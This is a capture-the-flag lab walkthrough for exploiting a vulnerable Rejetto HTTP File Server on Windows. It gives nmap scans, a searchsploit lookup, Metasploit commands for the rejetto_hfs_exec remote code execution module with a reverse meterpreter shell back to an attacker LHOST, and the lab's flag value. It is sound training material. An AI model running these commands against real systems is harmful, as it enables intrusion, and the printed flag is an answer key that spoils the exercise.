
 

 



 

Name Vulnerable HTTP File Server 

URL https://attackdefense.com/challengedetails?cid=1945  

Type Windows Exploitation: Basics 

 
Important Note: This document illustrates all the important steps required to complete this lab.              
This is by no means a comprehensive step-by-step solution for this exercise. This is only               
provided as a reference to various commands needed to complete this exercise and for your               
further research on this topic. Also, note that the IP addresses and domain names might be                
different in your lab.  
 
Step 1: ​Checking target IP address. 
 
Note: ​The target IP address is stored in the “target” file. 
 
Command: ​cat /root/Desktop/target 
 

 
 
Step 2:​ Run an Nmap scan against the target IP. 
 
Command: ​nmap --top-ports 65536 10.0.0.99 
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Step 3: ​We have discovered that multiple ports are open. We will run nmap again to determine 
version information on port 80.  
 
Command: ​nmap -sV -p 80 10.0.0.99 
 

 
 
Step 4: ​We will search the exploit module for hfs file server using searchsploit. 
 
Command: ​searchsploit hfs 
 
 
 



 

 
 
Step 5: ​Rejetto HTTP File Server (HFS) 2.3 is vulnerable to RCE. Exploiting the target server 
using metasploit framework. 
 
Commands: 
msfconsole 
use exploit/windows/http/rejetto_hfs_exec 
set RPORT 80 
set RHOSTS 10.0.0.99 
set LHOST 10.10.0.4 <Make Sure to Enter Valid LHOST IP Address> 
exploit 
 
 
 
 
 
 
 
 
 
 



 

 
 
We have successfully exploited the target vulnerable application (hfs) and received a 
meterpreter shell.  
 
Step 6: ​Searching the flag. 
 
Command: shell 
cd / 
dir 
type flag.txt 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

 
 
This reveals the flag to us. 
 
Flag: ​f74c8347798f4082daf4b4570dba094a 
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